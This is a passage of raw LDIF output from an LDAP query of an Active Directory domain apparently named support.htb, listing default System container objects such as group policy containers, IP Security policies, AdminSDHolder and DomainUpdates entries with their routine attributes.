uSNChanged: 5664
showInAdvancedViewOnly: TRUE
name: RpcServices
objectGUID:: P3MNPd/ORkK+4TMdos5UzA==
systemFlags: -1946157056
objectCategory: CN=Rpc-Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# FileLinks, System, support.htb
dn: CN=FileLinks,CN=System,DC=support,DC=htb
objectClass: top
objectClass: fileLinkTracking
cn: FileLinks
distinguishedName: CN=FileLinks,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5665
uSNChanged: 5665
showInAdvancedViewOnly: TRUE
name: FileLinks
objectGUID:: VIiefNCFWUKfSjoGaL/skw==
systemFlags: -1946157056
objectCategory: CN=File-Link-Tracking,CN=Schema,CN=Configuration,DC=support,DC
 =htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# VolumeTable, FileLinks, System, support.htb
dn: CN=VolumeTable,CN=FileLinks,CN=System,DC=support,DC=htb

# ObjectMoveTable, FileLinks, System, support.htb
dn: CN=ObjectMoveTable,CN=FileLinks,CN=System,DC=support,DC=htb
objectClass: top
objectClass: fileLinkTracking
objectClass: linkTrackObjectMoveTable
cn: ObjectMoveTable
distinguishedName: CN=ObjectMoveTable,CN=FileLinks,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5667
uSNChanged: 5667
showInAdvancedViewOnly: TRUE
name: ObjectMoveTable
objectGUID:: bqrebWC3wEePElti8vJS0g==
systemFlags: -1946157056
objectCategory: CN=Link-Track-Object-Move-Table,CN=Schema,CN=Configuration,DC=
 support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Default Domain Policy, System, support.htb
dn: CN=Default Domain Policy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: leaf
objectClass: domainPolicy
cn: Default Domain Policy
distinguishedName: CN=Default Domain Policy,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5668
uSNChanged: 5668
showInAdvancedViewOnly: TRUE
name: Default Domain Policy
objectGUID:: JM7KvbblUUGQISRFSR41sA==
objectCategory: CN=Domain-Policy,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# AppCategories, Default Domain Policy, System, support.htb
dn: CN=AppCategories,CN=Default Domain Policy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: classStore
cn: AppCategories
distinguishedName: CN=AppCategories,CN=Default Domain Policy,CN=System,DC=supp
 ort,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5669
uSNChanged: 5669
showInAdvancedViewOnly: TRUE
name: AppCategories
objectGUID:: mdg0mPQHq0SFdXPIHSS2Ag==
objectCategory: CN=Class-Store,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Meetings, System, support.htb
dn: CN=Meetings,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Meetings
distinguishedName: CN=Meetings,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5670
uSNChanged: 5670
showInAdvancedViewOnly: TRUE
name: Meetings
objectGUID:: crnuvFKvr0aljgzlwcFU2w==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Policies, System, support.htb
dn: CN=Policies,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Policies
distinguishedName: CN=Policies,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5671
uSNChanged: 5671
showInAdvancedViewOnly: TRUE
name: Policies
objectGUID:: 50Li5h2oUkS4lZnZP0UyYw==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# {31B2F340-016D-11D2-945F-00C04FB984F9}, Policies, System, support.htb
dn: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=support
 ,DC=htb
objectClass: top
objectClass: container
objectClass: groupPolicyContainer
cn: {31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedName: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=Sy
 stem,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220721133054.0Z
displayName: Default Domain Policy
uSNCreated: 5672
uSNChanged: 53335
showInAdvancedViewOnly: TRUE
name: {31B2F340-016D-11D2-945F-00C04FB984F9}
objectGUID:: knh7isGQVEC2JqqxnmnxAA==
flags: 0
versionNumber: 4
systemFlags: -1946157056
objectCategory: CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=suppor
 t,DC=htb
isCriticalSystemObject: TRUE
gPCFunctionalityVersion: 2
gPCFileSysPath: \\\\support.htb\\sysvol\\support.htb\\Policies\\{31B2F340-016D-11D2-
 945F-00C04FB984F9}
gPCMachineExtensionNames: \[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4F
 B-11D0-A0D0-00A0C90F574B}]
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000000.0Z

# User, {31B2F340-016D-11D2-945F-00C04FB984F9}, Policies, System, support.htb
dn: CN=User,CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC
 =support,DC=htb
objectClass: top
objectClass: container
cn: User
distinguishedName: CN=User,CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Polici
 es,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5673
uSNChanged: 5673
showInAdvancedViewOnly: TRUE
name: User
objectGUID:: ylEINnuIX0S8U/w8GIJDdQ==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z

# Machine, {31B2F340-016D-11D2-945F-00C04FB984F9}, Policies, System, support.ht
 b
dn: CN=Machine,CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System
 ,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Machine
distinguishedName: CN=Machine,CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Pol
 icies,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5674
uSNChanged: 5674
showInAdvancedViewOnly: TRUE
name: Machine
objectGUID:: 5AeLTsoVCECvQGvQY9CGlw==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z

# {6AC1786C-016F-11D2-945F-00C04fB984F9}, Policies, System, support.htb
dn: CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=support
 ,DC=htb
objectClass: top
objectClass: container
objectClass: groupPolicyContainer
cn: {6AC1786C-016F-11D2-945F-00C04fB984F9}
distinguishedName: CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=Sy
 stem,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
displayName: Default Domain Controllers Policy
uSNCreated: 5675
uSNChanged: 5675
showInAdvancedViewOnly: TRUE
name: {6AC1786C-016F-11D2-945F-00C04fB984F9}
objectGUID:: R8Tff+WtdUCjft34WFDHAw==
flags: 0
versionNumber: 1
systemFlags: -1946157056
objectCategory: CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=suppor
 t,DC=htb
isCriticalSystemObject: TRUE
gPCFunctionalityVersion: 2
gPCFileSysPath: \\\\support.htb\\sysvol\\support.htb\\Policies\\{6AC1786C-016F-11D2-
 945F-00C04fB984F9}
gPCMachineExtensionNames: [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4F
 B-11D0-A0D0-00A0C90F574B}]
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000000.0Z

# User, {6AC1786C-016F-11D2-945F-00C04fB984F9}, Policies, System, support.htb
dn: CN=User,CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC
 =support,DC=htb
objectClass: top
objectClass: container
cn: User
distinguishedName: CN=User,CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Polici
 es,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5676
uSNChanged: 5676
showInAdvancedViewOnly: TRUE
name: User
objectGUID:: dV484SwjpUS0eBR7aQqtGg==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z

# Machine, {6AC1786C-016F-11D2-945F-00C04fB984F9}, Policies, System, support.ht
 b
dn: CN=Machine,CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System
 ,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Machine
distinguishedName: CN=Machine,CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Pol
 icies,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5677
uSNChanged: 5677
showInAdvancedViewOnly: TRUE
name: Machine
objectGUID:: CXMmkJWFv0+CHxFeaQ1T8w==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z

# RAS and IAS Servers Access Check, System, support.htb
dn: CN=RAS and IAS Servers Access Check,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: RAS and IAS Servers Access Check
distinguishedName: CN=RAS and IAS Servers Access Check,CN=System,DC=support,DC
 =htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5678
uSNChanged: 5678
showInAdvancedViewOnly: TRUE
name: RAS and IAS Servers Access Check
objectGUID:: fQNLACK5mkyBEYFenMBRrQ==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# File Replication Service, System, support.htb
dn: CN=File Replication Service,CN=System,DC=support,DC=htb
objectClass: top
objectClass: applicationSettings
objectClass: nTFRSSettings
cn: File Replication Service
distinguishedName: CN=File Replication Service,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5679
uSNChanged: 5679
showInAdvancedViewOnly: TRUE
name: File Replication Service
objectGUID:: aitQva2HL0Keq45R1NLAZg==
systemFlags: -1946157056
objectCategory: CN=NTFRS-Settings,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Dfs-Configuration, System, support.htb
dn: CN=Dfs-Configuration,CN=System,DC=support,DC=htb
objectClass: top
objectClass: dfsConfiguration
cn: Dfs-Configuration
distinguishedName: CN=Dfs-Configuration,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5680
uSNChanged: 5680
showInAdvancedViewOnly: FALSE
name: Dfs-Configuration
objectGUID:: GEoNGsTQF0emA5xg1LFBZA==
objectCategory: CN=Dfs-Configuration,CN=Schema,CN=Configuration,DC=support,DC=
 htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# IP Security, System, support.htb
dn: CN=IP Security,CN=System,DC=support,DC=htb

# ipsecPolicy{72385230-70FA-11D1-864C-14A300000000}, IP Security, System, suppo
 rt.htb
dn: CN=ipsecPolicy{72385230-70FA-11D1-864C-14A300000000},CN=IP Security,CN=Sys
 tem,DC=support,DC=htb

# ipsecISAKMPPolicy{72385231-70FA-11D1-864C-14A300000000}, IP Security, System,
  support.htb
dn: CN=ipsecISAKMPPolicy{72385231-70FA-11D1-864C-14A300000000},CN=IP Security,
 CN=System,DC=support,DC=htb

# ipsecNFA{72385232-70FA-11D1-864C-14A300000000}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{72385232-70FA-11D1-864C-14A300000000},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0ECCA17}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0ECCA17},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNFA{594272E2-071D-11D3-AD22-0060B0ECCA17}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0ECCA17},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNegotiationPolicy{72385233-70FA-11D1-864C-14A300000000}, IP Security, Sy
 stem, support.htb
dn: CN=ipsecNegotiationPolicy{72385233-70FA-11D1-864C-14A300000000},CN=IP Secu
 rity,CN=System,DC=support,DC=htb

# ipsecFilter{7238523A-70FA-11D1-864C-14A300000000}, IP Security, System, suppo
 rt.htb
dn: CN=ipsecFilter{7238523A-70FA-11D1-864C-14A300000000},CN=IP Security,CN=Sys
 tem,DC=support,DC=htb

# ipsecNegotiationPolicy{59319BDF-5EE3-11D2-ACE8-0060B0ECCA17}, IP Security, Sy
 stem, support.htb
dn: CN=ipsecNegotiationPolicy{59319BDF-5EE3-11D2-ACE8-0060B0ECCA17},CN=IP Secu
 rity,CN=System,DC=support,DC=htb

# ipsecNegotiationPolicy{7238523B-70FA-11D1-864C-14A300000000}, IP Security, Sy
 stem, support.htb
dn: CN=ipsecNegotiationPolicy{7238523B-70FA-11D1-864C-14A300000000},CN=IP Secu
 rity,CN=System,DC=support,DC=htb

# ipsecFilter{72385235-70FA-11D1-864C-14A300000000}, IP Security, System, suppo
 rt.htb
dn: CN=ipsecFilter{72385235-70FA-11D1-864C-14A300000000},CN=IP Security,CN=Sys
 tem,DC=support,DC=htb

# ipsecPolicy{72385236-70FA-11D1-864C-14A300000000}, IP Security, System, suppo
 rt.htb
dn: CN=ipsecPolicy{72385236-70FA-11D1-864C-14A300000000},CN=IP Security,CN=Sys
 tem,DC=support,DC=htb

# ipsecISAKMPPolicy{72385237-70FA-11D1-864C-14A300000000}, IP Security, System,
  support.htb
dn: CN=ipsecISAKMPPolicy{72385237-70FA-11D1-864C-14A300000000},CN=IP Security,
 CN=System,DC=support,DC=htb

# ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0ECCA17}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0ECCA17},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNegotiationPolicy{59319C01-5EE3-11D2-ACE8-0060B0ECCA17}, IP Security, Sy
 stem, support.htb
dn: CN=ipsecNegotiationPolicy{59319C01-5EE3-11D2-ACE8-0060B0ECCA17},CN=IP Secu
 rity,CN=System,DC=support,DC=htb

# ipsecPolicy{7238523C-70FA-11D1-864C-14A300000000}, IP Security, System, suppo
 rt.htb
dn: CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A300000000},CN=IP Security,CN=Sys
 tem,DC=support,DC=htb

# ipsecISAKMPPolicy{7238523D-70FA-11D1-864C-14A300000000}, IP Security, System,
  support.htb
dn: CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-864C-14A300000000},CN=IP Security,
 CN=System,DC=support,DC=htb

# ipsecNFA{7238523E-70FA-11D1-864C-14A300000000}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300000000},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0ECCA17}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0ECCA17},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNFA{594272FD-071D-11D3-AD22-0060B0ECCA17}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0ECCA17},CN=IP Security,CN=System
 ,DC=support,DC=htb

# ipsecNegotiationPolicy{7238523F-70FA-11D1-864C-14A300000000}, IP Security, Sy
 stem, support.htb
dn: CN=ipsecNegotiationPolicy{7238523F-70FA-11D1-864C-14A300000000},CN=IP Secu
 rity,CN=System,DC=support,DC=htb

# ipsecNegotiationPolicy{59319BF0-5EE3-11D2-ACE8-0060B0ECCA17}, IP Security, Sy
 stem, support.htb
dn: CN=ipsecNegotiationPolicy{59319BF0-5EE3-11D2-ACE8-0060B0ECCA17},CN=IP Secu
 rity,CN=System,DC=support,DC=htb

# ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0ECCA17}, IP Security, System, support.
 htb
dn: CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0ECCA17},CN=IP Security,CN=System
 ,DC=support,DC=htb

# AdminSDHolder, System, support.htb
dn: CN=AdminSDHolder,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: AdminSDHolder
distinguishedName: CN=AdminSDHolder,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 5704
uSNChanged: 13068
showInAdvancedViewOnly: TRUE
name: AdminSDHolder
objectGUID:: zKYJ8n8ET0qGQbZF6hESmg==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20260415024314.0Z
dSCorePropagationData: 20260415014314.0Z
dSCorePropagationData: 20260415004314.0Z
dSCorePropagationData: 20260414234314.0Z
dSCorePropagationData: 16010101000000.0Z

# ComPartitions, System, support.htb
dn: CN=ComPartitions,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: ComPartitions
distinguishedName: CN=ComPartitions,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5705
uSNChanged: 5705
showInAdvancedViewOnly: TRUE
name: ComPartitions
objectGUID:: jIoM5T/hKE++wxiMLV/GHw==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# ComPartitionSets, System, support.htb
dn: CN=ComPartitionSets,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: ComPartitionSets
distinguishedName: CN=ComPartitionSets,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5706
uSNChanged: 5706
showInAdvancedViewOnly: TRUE
name: ComPartitionSets
objectGUID:: CKAmFhVD2ESeSDfy2e74/Q==
systemFlags: -1946157056
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# WMIPolicy, System, support.htb
dn: CN=WMIPolicy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: WMIPolicy
distinguishedName: CN=WMIPolicy,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5707
uSNChanged: 5707
showInAdvancedViewOnly: TRUE
name: WMIPolicy
objectGUID:: msTSL17ElUuD5YE8ilE53Q==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000000.0Z

# PolicyTemplate, WMIPolicy, System, support.htb
dn: CN=PolicyTemplate,CN=WMIPolicy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: PolicyTemplate
distinguishedName: CN=PolicyTemplate,CN=WMIPolicy,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5708
uSNChanged: 5708
showInAdvancedViewOnly: TRUE
name: PolicyTemplate
objectGUID:: VgfNcLKZ1EyvP3aCo6bdzw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# SOM, WMIPolicy, System, support.htb
dn: CN=SOM,CN=WMIPolicy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: SOM
distinguishedName: CN=SOM,CN=WMIPolicy,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5709
uSNChanged: 5709
showInAdvancedViewOnly: TRUE
name: SOM
objectGUID:: hzp2TUJIR0eJQON9rk8h5A==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# PolicyType, WMIPolicy, System, support.htb
dn: CN=PolicyType,CN=WMIPolicy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: PolicyType
distinguishedName: CN=PolicyType,CN=WMIPolicy,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5710
uSNChanged: 5710
showInAdvancedViewOnly: TRUE
name: PolicyType
objectGUID:: ey3un4J/fUG7RGa0y194yw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# WMIGPO, WMIPolicy, System, support.htb
dn: CN=WMIGPO,CN=WMIPolicy,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: WMIGPO
distinguishedName: CN=WMIGPO,CN=WMIPolicy,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5711
uSNChanged: 5711
showInAdvancedViewOnly: TRUE
name: WMIGPO
objectGUID:: CjJwhvi7kEStUATHHVEi0w==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# DomainUpdates, System, support.htb
dn: CN=DomainUpdates,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: DomainUpdates
distinguishedName: CN=DomainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5712
uSNChanged: 5712
showInAdvancedViewOnly: TRUE
name: DomainUpdates
objectGUID:: 5rvmoSM9W0q+v/MxOkB5sQ==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Operations, DomainUpdates, System, support.htb
dn: CN=Operations,CN=DomainUpdates,CN=System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: Operations
distinguishedName: CN=Operations,CN=DomainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5713
uSNChanged: 5713
showInAdvancedViewOnly: TRUE
name: Operations
objectGUID:: gyf1wGcDykiDDr2Agx7U1w==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# ab402345-d3c3-455d-9ff7-40268a1099b6, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: ab402345-d3c3-455d-9ff7-40268a1099b6
distinguishedName: CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5714
uSNChanged: 5714
showInAdvancedViewOnly: TRUE
name: ab402345-d3c3-455d-9ff7-40268a1099b6
objectGUID:: q5+bVi/TGk62W4V4x3rAkA==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# bab5f54d-06c8-48de-9b87-d78b796564e4, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: bab5f54d-06c8-48de-9b87-d78b796564e4
distinguishedName: CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5715
uSNChanged: 5715
showInAdvancedViewOnly: TRUE
name: bab5f54d-06c8-48de-9b87-d78b796564e4
objectGUID:: idAO6hlYU0iLV5cvujH/cw==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5
distinguishedName: CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5716
uSNChanged: 5716
showInAdvancedViewOnly: TRUE
name: f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5
objectGUID:: kXcIkZAKu0KHNE5umcsHWQ==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 2416c60a-fe15-4d7a-a61e-dffd5df864d3, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 2416c60a-fe15-4d7a-a61e-dffd5df864d3
distinguishedName: CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5717
uSNChanged: 5717
showInAdvancedViewOnly: TRUE
name: 2416c60a-fe15-4d7a-a61e-dffd5df864d3
objectGUID:: tsN2VF/CMUyvCNwTOAKBmA==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 7868d4c8-ac41-4e05-b401-776280e8e9f1, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 7868d4c8-ac41-4e05-b401-776280e8e9f1
distinguishedName: CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5718
uSNChanged: 5718
showInAdvancedViewOnly: TRUE
name: 7868d4c8-ac41-4e05-b401-776280e8e9f1
objectGUID:: BS3fxtk3zEGmdW+Fq/rSTg==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# 860c36ed-5241-4c62-a18b-cf6ff9994173, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 860c36ed-5241-4c62-a18b-cf6ff9994173
distinguishedName: CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110155.0Z
whenChanged: 20220528110155.0Z
uSNCreated: 5719
uSNChanged: 5719
showInAdvancedViewOnly: TRUE
name: 860c36ed-5241-4c62-a18b-cf6ff9994173
